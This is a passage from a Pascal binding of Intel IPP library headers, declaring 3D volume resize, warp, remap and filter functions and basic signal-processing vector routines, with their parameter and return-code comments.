IPPI_INTER_CUBIC2P_BSPLINE B-spline filter (1, 0)
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom filter (0, 1/2)
IPPI_INTER_CUBIC2P_B05C03 special filter with parameters (1/2, 3/10)
pBuffer pointer to work buffer
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pBuffer == NULL
ippStsSizeErr width or height or depth of volumes is less or equal zero
ippStsWrongIntersectVOI VOI hasn`t an intersection with the source or destination volume
ippStsResizeFactorErr xFactor or yFactor or zFactor is less or equal zero
ippStsInterpolationErr (interpolation != IPPI_INTER_NN) &&
(interpolation != IPPI_INTER_LINEAR) &&
(interpolation != IPPI_INTER_CUBIC) &&
(interpolation != IPPI_INTER_CUBIC2P_BSPLINE) &&
(interpolation != IPPI_INTER_CUBIC2P_CATMULLROM) &&
(interpolation != IPPI_INTER_CUBIC2P_B05C03)
Notes:
<mode> are 8u_C1V or 16u_C1V or 32f_C1V or 8u_C1PV or 16u_C1PV or 32f_C1PV
}
function ipprResize_8u_C1V( pSrc : Ipp8uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVOI : IpprCuboid ; xFactor : double ; yFactor : double ; zFactor : double ; xShift : double ; yShift : double ; zShift : double ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprResize_16u_C1V( pSrc : Ipp16uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVOI : IpprCuboid ; xFactor : double ; yFactor : double ; zFactor : double ; xShift : double ; yShift : double ; zShift : double ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprResize_32f_C1V( pSrc : Ipp32fPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVOI : IpprCuboid ; xFactor : double ; yFactor : double ; zFactor : double ; xShift : double ; yShift : double ; zShift : double ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprResize_8u_C1PV( pSrc : Ipp8uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstVOI : IpprCuboid ; xFactor : double ; yFactor : double ; zFactor : double ; xShift : double ; yShift : double ; zShift : double ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprResize_16u_C1PV( pSrc : Ipp16uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstVOI : IpprCuboid ; xFactor : double ; yFactor : double ; zFactor : double ; xShift : double ; yShift : double ; zShift : double ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprResize_32f_C1PV( pSrc : Ipp32fPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstVOI : IpprCuboid ; xFactor : double ; yFactor : double ; zFactor : double ; xShift : double ; yShift : double ; zShift : double ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Name: ipprWarpAffineGetBufSize
Purpose: Computes the size of an external work buffer (bytes : in )
Parameters:
srcVolume size of source volume
srcVOI region of interest of source volume
dstVOI region of interest of destination volume
coeffs affine transform matrix
nChannel number of channels
interpolation type of interpolation to perform for resizing the input volume:
IPPI_INTER_NN nearest neighbor interpolation
IPPI_INTER_LINEAR trilinear interpolation
IPPI_INTER_CUBIC tricubic polynomial interpolation
including two-parameter cubic filters:
IPPI_INTER_CUBIC2P_BSPLINE B-spline filter (1, 0)
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom filter (0, 1/2)
IPPI_INTER_CUBIC2P_B05C03 special filter with parameters (1/2, 3/10)
pSize pointer to the external buffer`s size
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSize == NULL or coeffs == NULL
ippStsSizeErr size of source or destination volumes is less or equal zero
ippStsNumChannelsErr number of channels is not one
ippStsInterpolationErr (interpolation != IPPI_INTER_NN) &&
(interpolation != IPPI_INTER_LINEAR) &&
(interpolation != IPPI_INTER_CUBIC) &&
(interpolation != IPPI_INTER_CUBIC2P_BSPLINE) &&
(interpolation != IPPI_INTER_CUBIC2P_CATMULLROM) &&
(interpolation != IPPI_INTER_CUBIC2P_B05C03)
}
function ipprWarpAffineGetBufSize( srcVolume : IpprVolume ; srcVOI : IpprCuboid ; dstVOI : IpprCuboid ; const coeffs : double_3_4 ; nChannel : Int32 ; interpolation : Int32 ; var pSize : Int32 ): IppStatus; _ippapi
{
Names: ipprWarpAffine_<mode>
Purpose: Performs AFFINE transform of the source volume by matrix a[3][4]
|X'| |a00 a01 a02| |X| |a03|
|Y'| = |a10 a11 a12| * |Y| + |a13|
|Z'| |a20 a21 a22| |Z| |a23|
Parameters:
pSrc array of pointers to planes in source volume data
srcVolume size of source volume
srcStep step in every plane of source volume
srcVOI volume of interest of source volume
pDst array of pointers to planes in destination volume data
dstStep step in every plane of destination volume
dstVOI volume of interest of destination volume
coeffs affine transform matrix
interpolation type of interpolation to perform for affine transform the input volume:
IPPI_INTER_NN nearest neighbor interpolation
IPPI_INTER_LINEAR trilinear interpolation
IPPI_INTER_CUBIC tricubic polynomial interpolation
including two-parameter cubic filters:
IPPI_INTER_CUBIC2P_BSPLINE B-spline filter (1, 0)
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom filter (0, 1/2)
IPPI_INTER_CUBIC2P_B05C03 special filter with parameters (1/2, 3/10)
pBuffer pointer to work buffer
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pBuffer == NULL or coeffs == NULL
ippStsSizeErr width or height or depth of source volume is less or equal zero
ippStsWrongIntersectVOI VOI hasn`t an intersection with the source or destination volume
ippStsCoeffErr determinant of the transform matrix Aij is equal to zero
ippStsInterpolationErr interpolation has an illegal value
Notes:
<mode> are 8u_C1PV or 16u_C1PV or 32f_C1PV
}
function ipprWarpAffine_8u_C1PV( pSrc : Ipp8uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstVOI : IpprCuboid ; const coeffs : double_3_4 ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprWarpAffine_16u_C1PV( pSrc : Ipp16uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstVOI : IpprCuboid ; const coeffs : double_3_4 ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprWarpAffine_32f_C1PV( pSrc : Ipp32fPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstVOI : IpprCuboid ; const coeffs : double_3_4 ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Names: ipprWarpAffine_<mode>
Purpose: Performs AFFINE transform of the source volume by matrix a[3][4]
|X'| |a00 a01 a02| |X| |a03|
|Y'| = |a10 a11 a12| * |Y| + |a13|
|Z'| |a20 a21 a22| |Z| |a23|
Parameters:
pSrc array of pointers to planes in source volume data
srcVolume size of source volume
srcStep step in every plane of source volume
srcPlaneStep step between planes of source volume (8u_C1V, 16u_C1V, 32f_C1V modes)
srcVOI volume of interest of source volume
pDst array of pointers to planes in destination volume data
dstStep step in every plane of destination volume
dstPlaneStep step between planes of destination volume (8u_C1V, 16u_C1V, 32f_C1V modes)
dstVOI volume of interest of destination volume
coeffs affine transform matrix
interpolation type of interpolation to perform for affine transform the input volume:
IPPI_INTER_NN nearest neighbor interpolation
IPPI_INTER_LINEAR trilinear interpolation
IPPI_INTER_CUBIC tricubic polynomial interpolation
including two-parameter cubic filters:
IPPI_INTER_CUBIC2P_BSPLINE B-spline filter (1, 0)
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom filter (0, 1/2)
IPPI_INTER_CUBIC2P_B05C03 special filter with parameters (1/2, 3/10)
pBuffer pointer to work buffer
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or pBuffer == NULL or coeffs == NULL
ippStsSizeErr width or height or depth of source volume is less or equal zero
ippStsWrongIntersectVOI VOI hasn't an intersection with the source or destination volume
ippStsCoeffErr determinant of the transform matrix Aij is equal to zero
ippStsInterpolationErr interpolation has an illegal value
Notes:
<mode> are 8u_C1V or 16u_C1V or 32f_C1V
}
function ipprWarpAffine_8u_C1V( pSrc : Ipp8uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVOI : IpprCuboid ; const coeffs : double_3_4 ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprWarpAffine_16u_C1V( pSrc : Ipp16uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVOI : IpprCuboid ; const coeffs : double_3_4 ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ipprWarpAffine_32f_C1V( pSrc : Ipp32fPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVOI : IpprCuboid ; const coeffs : double_3_4 ; interpolation : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Names: ipprRemap_<mode>
Purpose: Performs REMAP TRANSFORM of the source volume by remapping
dst[i,j,k] = src[xMap[i,j,k], yMap[i,j,k], zMap[i,j,k]]
Parameters:
pSrc array of pointers to planes in source volume data
srcVolume size of source volume
srcStep step in every plane of source volume
srcVOI volume of interest of source volume
pxMap array of pointers to images with X coordinates of map
pyMap array of pointers to images with Y coordinates of map
pzMap array of pointers to images with Z coordinates of map
mapStep step in every plane of each map volumes
pDst array of pointers to planes in destination volume data
dstStep step in every plane of destination volume
dstVolume size of destination volume
interpolation type of interpolation to perform for resizing the input volume:
IPPI_INTER_NN nearest neighbor interpolation
IPPI_INTER_LINEAR trilinear interpolation
IPPI_INTER_CUBIC tricubic polynomial interpolation
including two-parameter cubic filters:
IPPI_INTER_CUBIC2P_BSPLINE B-spline filter (1, 0)
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom filter (0, 1/2)
IPPI_INTER_CUBIC2P_B05C03 special filter with parameters (1/2, 3/10)
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or
pxMap == NULL or pyMap == NULL or pzMap == NULL
ippStsSizeErr width or height or depth of volumes is less or equal zero
ippStsInterpolationErr interpolation has an illegal value
ippStsWrongIntersectVOI srcVOI hasn`t intersection with the srcStep : Int32, no operation
Notes:
<mode> are 8u_C1PV or 16u_C1PV or 32f_C1PV
}
function ipprRemap_8u_C1PV( pSrc : Ipp8uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pxMap : Ipp32fPtr ; pyMap : Ipp32fPtr ; pzMap : Ipp32fPtr ; mapStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstVolume : IpprVolume ; interpolation : Int32 ): IppStatus; _ippapi
function ipprRemap_16u_C1PV( pSrc : Ipp16uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pxMap : Ipp32fPtr ; pyMap : Ipp32fPtr ; pzMap : Ipp32fPtr ; mapStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstVolume : IpprVolume ; interpolation : Int32 ): IppStatus; _ippapi
function ipprRemap_32f_C1PV( pSrc : Ipp32fPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcVOI : IpprCuboid ; pxMap : Ipp32fPtr ; pyMap : Ipp32fPtr ; pzMap : Ipp32fPtr ; mapStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstVolume : IpprVolume ; interpolation : Int32 ): IppStatus; _ippapi
{
Names: ipprRemap_<mode>
Purpose: Performs REMAP TRANSFORM of the source volume by remapping
dst[i,j,k] = src[xMap[i,j,k], yMap[i,j,k], zMap[i,j,k]]
Parameters:
pSrc array of pointers to planes in source volume data
srcVolume size of source volume
srcStep step in every plane of source volume
srcPlaneStep step between planes of source volume (8u_C1V, 16u_C1V, 32f_C1V modes)
srcVOI volume of interest of source volume
pxMap array of pointers to images with X coordinates of map
pyMap array of pointers to images with Y coordinates of map
pzMap array of pointers to images with Z coordinates of map
mapStep step in every plane of each map volumes
pDst array of pointers to planes in destination volume data
dstStep step in every plane of destination volume
dstPlaneStep step between planes of destination volume (8u_C1V, 16u_C1V, 32f_C1V modes)
dstVolume size of destination volume
interpolation type of interpolation to perform for resizing the input volume:
IPPI_INTER_NN nearest neighbor interpolation
IPPI_INTER_LINEAR trilinear interpolation
IPPI_INTER_CUBIC tricubic polynomial interpolation
including two-parameter cubic filters:
IPPI_INTER_CUBIC2P_BSPLINE B-spline filter (1, 0)
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom filter (0, 1/2)
IPPI_INTER_CUBIC2P_B05C03 special filter with parameters (1/2, 3/10)
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSrc == NULL or pDst == NULL or
pxMap == NULL or pyMap == NULL or pzMap == NULL
ippStsSizeErr width or height or depth of volumes is less or equal zero
ippStsInterpolationErr interpolation has an illegal value
ippStsWrongIntersectVOI srcVOI hasn`t intersection with the source volume, no operation
Notes:
<mode> are 8u_C1V or 16u_C1V or 32f_C1V
}
function ipprRemap_8u_C1V( pSrc : Ipp8uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pxMap : Ipp32fPtr ; pyMap : Ipp32fPtr ; pzMap : Ipp32fPtr ; mapStep : Int32 ; mapPlaneStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVolume : IpprVolume ; interpolation : Int32 ): IppStatus; _ippapi
function ipprRemap_16u_C1V( pSrc : Ipp16uPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pxMap : Ipp32fPtr ; pyMap : Ipp32fPtr ; pzMap : Ipp32fPtr ; mapStep : Int32 ; mapPlaneStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVolume : IpprVolume ; interpolation : Int32 ): IppStatus; _ippapi
function ipprRemap_32f_C1V( pSrc : Ipp32fPtr ; srcVolume : IpprVolume ; srcStep : Int32 ; srcPlaneStep : Int32 ; srcVOI : IpprCuboid ; pxMap : Ipp32fPtr ; pyMap : Ipp32fPtr ; pzMap : Ipp32fPtr ; mapStep : Int32 ; mapPlaneStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVolume : IpprVolume ; interpolation : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
3D General Linear Filters
---------------------------------------------------------------------------- }
{
Name: ipprFilterGetBufSize
Purpose: Computes the size of an external work buffer (in bytes)
Parameters:
dstVolume size of the volume
kernelVolume size of the kernel volume
nChannel number of channels
pSize pointer to the external buffer`s size
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSize == NULL
ippStsSizeErr width or height or depth of volumes is less or equal zero
ippStsNumChannelsErr number of channels is not one
}
function ipprFilterGetBufSize( dstVolume : IpprVolume ; kernelVolume : IpprVolume ; nChannel : Int32 ; var pSize : Int32 ): IppStatus; _ippapi
{
Name: ipprFilter_16s_C1PV
Purpose: Filters a volume using a general integer cuboidal kernel
Parameters:
pSrc array of pointers to planes in source volume data
srcStep step in every plane of source volume
pDst array of pointers to planes in destination volume data
dstStep step in every plane of destination volume
dstVolume size of the processed volume
pKernel pointer to the kernel values
kernelVolume size of the kernel volume
anchor anchor 3d-cell specifying the cuboidal kernel alignment
with respect to the position of the input voxel
divisor the integer value by which the computed result is divided
pBuffer pointer to the external buffer`s size
Returns:
ippStsNoErr no errors
ippStsNullPtrErr one of the pointers is NULL
ippStsSizeErr width or height or depth of volumes is less or equal zero
ippStsDivisorErr divisor value is zero, function execution is interrupted
}
function ipprFilter_16s_C1PV( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstVolume : IpprVolume ; pKernel : Ipp32sPtr ; kernelVolume : IpprVolume ; anchor : IpprPoint ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Name: ipprFilter_16s_C1V
Purpose: Filters a volume using a general integer cuboidal kernel
Parameters:
pSrc array of pointers to planes in source volume data
srcStep step in every plane of source volume
srcPlaneStep step between planes of source volume (8u_C1V, 16u_C1V, 32f_C1V modes)
pDst array of pointers to planes in destination volume data
dstStep step in every plane of destination volume
dstPlaneStep step between planes of destination volume (8u_C1V, 16u_C1V, 32f_C1V modes)
dstVolume size of the processed volume
pKernel pointer to the kernel values
kernelVolume size of the kernel volume
anchor anchor 3d-cell specifying the cuboidal kernel alignment
with respect to the position of the input voxel
divisor the integer value by which the computed result is divided
pBuffer pointer to the external buffer`s size
Returns:
ippStsNoErr no errors
ippStsNullPtrErr one of the pointers is NULL
ippStsSizeErr width or height or depth of volumes is less or equal zero
ippStsDivisorErr divisor value is zero, function execution is interrupted
}
function ipprFilter_16s_C1V( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcPlaneStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstPlaneStep : Int32 ; dstVolume : IpprVolume ; pKernel : Ipp32sPtr ; kernelVolume : IpprVolume ; anchor : IpprPoint ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{
Intel(R) Integrated Performance Primitives
Signal Processing (ippSP)
}
{ ----------------------------------------------------------------------------
Name: ippsGetLibVersion
Purpose: get the library version
Parameters:
Returns: pointer to structure describing version of the ipps library
Notes: don`t free the pointer
}
function ippsGetLibVersion: IppLibraryVersionPtr; _ippapi
{ ----------------------------------------------------------------------------
Functions to allocate and free memory
------------------------------------------------------------------------------
Name: ippsMalloc
Purpose: 32-byte aligned memory allocation
Parameter:
len number of elements (according to their type)
Returns: pointer to allocated memory
Notes: the memory allocated by ippsMalloc has to be free by ippsFree
function only.
}
function ippsMalloc_8u(len : Int32 ):Ipp8uPtr; _ippapi
function ippsMalloc_16u(len : Int32 ):Ipp16uPtr; _ippapi
function ippsMalloc_32u(len : Int32 ):Ipp32uPtr; _ippapi
function ippsMalloc_8s(len : Int32 ):Ipp8sPtr; _ippapi
function ippsMalloc_16s(len : Int32 ):Ipp16sPtr; _ippapi
function ippsMalloc_32s(len : Int32 ):Ipp32sPtr; _ippapi
function ippsMalloc_64s(len : Int32 ):Ipp64sPtr; _ippapi
function ippsMalloc_32f(len : Int32 ):Ipp32fPtr; _ippapi
function ippsMalloc_64f(len : Int32 ):Ipp64fPtr; _ippapi
function ippsMalloc_8sc(len : Int32 ):Ipp8scPtr; _ippapi
function ippsMalloc_16sc(len : Int32 ): Ipp16scPtr; _ippapi
function ippsMalloc_32sc(len : Int32 ): Ipp32scPtr; _ippapi
function ippsMalloc_64sc(len : Int32 ): Ipp64scPtr; _ippapi
function ippsMalloc_32fc(len : Int32 ): Ipp32fcPtr; _ippapi
function ippsMalloc_64fc(len : Int32 ): Ipp64fcPtr; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsFree
Purpose: free memory allocated by the ippsMalloc functions
Parameter:
ptr pointer to the memory allocated by the ippsMalloc functions
Notes: use the function to free memory allocated by ippsMalloc_*
}
procedure ippsFree(ptr : Pointer ); _ippapi
{ ----------------------------------------------------------------------------
Vector Initialization functions
------------------------------------------------------------------------------
Name: ippsCopy
Purpose: copy data from source to destination vector
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors, number of items
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsCopy_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_32sc( pSrc : Ipp32scPtr ; pDst : Ipp32scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_64s( pSrc : Ipp64sPtr ; pDst : Ipp64sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCopy_64sc( pSrc : Ipp64scPtr ; pDst : Ipp64scPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsCopyLE_1u
ippsCopyBE_1u
Purpose: copy bit`s data from source to destination vector
Parameters:
pSrc pointer to the input vector
srcBitOffset offset in the first byte of the source vector
pDst pointer to the output vector
dstBitOffset offset in the first byte of the destination vector
len length of the vectors, number of bits
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsCopyLE_1u( pSrc : Ipp8uPtr ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstBitOffset : Int32 ; len : Int32 ): IppStatus; _ippapi
function ippsCopyBE_1u( pSrc : Ipp8uPtr ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstBitOffset : Int32 ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsMove
Purpose: The ippsMove function copies "len" elements from src to dst.
If some regions of the source area and the destination overlap,
ippsMove ensures that the original source bytes in the overlapping
region are copied before being overwritten.
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors, number of items
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsMove_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_32sc( pSrc : Ipp32scPtr ; pDst : Ipp32scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_64s( pSrc : Ipp64sPtr ; pDst : Ipp64sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsMove_64sc( pSrc : Ipp64scPtr ; pDst : Ipp64scPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsZero
Purpose: set elements of the vector to zero of corresponding type
Parameters:
pDst pointer to the destination vector
len length of the vectors
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsZero_8u( pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_16s( pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_16sc( pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_32f( pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_32fc( pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_64f( pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_64fc( pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_32s( pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_32sc( pDst : Ipp32scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_64s( pDst : Ipp64sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsZero_64sc( pDst : Ipp64scPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsSet
Purpose: set elements of the destination vector to the value
Parameters:
val value to set the elements of the vector
pDst pointer to the destination vector
len length of the vectors
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vector is less or equal zero
ippStsNoErr otherwise
}
function ippsSet_8u( val : Ipp8u ; pDst : Ipp8uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_16s( val : Ipp16s ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_16sc( val : Ipp16sc ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_32s( val : Ipp32s ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_32sc( val : Ipp32sc ; pDst : Ipp32scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_32f( val : Ipp32f ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_32fc( val : Ipp32fc ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_64s( val : Ipp64s ; pDst : Ipp64sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_64sc( val : Ipp64sc ; pDst : Ipp64scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_64f( val : Ipp64f ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsSet_64fc( val : Ipp64fc ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRandUniform
Purpose: Makes pseudo-random samples with a uniform distribution
and places them in the vector.
Parameters:
pDst The pointer to vector
len Vector`s length
pRandUniState A pointer to the structure containing parameters for the
generator of noise
Returns:
ippStsNullPtrErr pRandUniState==NULL
ippStsContextMatchErr pState->idCtx != idCtxRandUni
ippStsNoErr No errors
}
function ippsRandUniform_8u( pDst : Ipp8uPtr ; len : Int32 ; pRandUniState : IppsRandUniState_8uPtr ): IppStatus; _ippapi
function ippsRandUniform_16s( pDst : Ipp16sPtr ; len : Int32 ; pRandUniState : IppsRandUniState_16sPtr ): IppStatus; _ippapi
function ippsRandUniform_32f( pDst : Ipp32fPtr ; len : Int32 ; pRandUniState : IppsRandUniState_32fPtr ): IppStatus; _ippapi
function ippsRandUniform_64f( pDst : Ipp64fPtr ; len : Int32 ; pRandUniState : IppsRandUniState_64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRandGauss
Purpose: Makes pseudo-random samples with a normal distribution
and places them in the vector.
Parameters:
pDst The pointer to vector
len Vector`s length
pRandUniState A pointer to the structure containing parameters
for the generator of noise
ippStsContextMatchErr pState->idCtx != idCtxRandGauss
Returns:
ippStsNullPtrErr pRandGaussState==NULL
ippStsNoErr No errors
}
function ippsRandGauss_8u( pDst : Ipp8uPtr ; len : Int32 ; pRandGaussState : IppsRandGaussState_8uPtr ): IppStatus; _ippapi
function ippsRandGauss_16s( pDst : Ipp16sPtr ; len : Int32 ; pRandGaussState : IppsRandGaussState_16sPtr ): IppStatus; _ippapi
function ippsRandGauss_32f( pDst : Ipp32fPtr ; len : Int32 ; pRandGaussState : IppsRandGaussState_32fPtr ): IppStatus; _ippapi
function ippsRandGauss_64f( pDst : Ipp64fPtr ; len : Int32 ; pRandGaussState : IppsRandGaussState_64fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRandGaussGetSize
Purpose: Gaussian sequence generator state variable size -
computes the size, in bytes,
of the state variable structure ippsRandGaussState_16s.
Return:
ippStsNoErr Ok
ippStsNullPtrErr pRandGaussStateSize==NULL
Arguments:
pRandGaussStateSize pointer to the computed values of the size
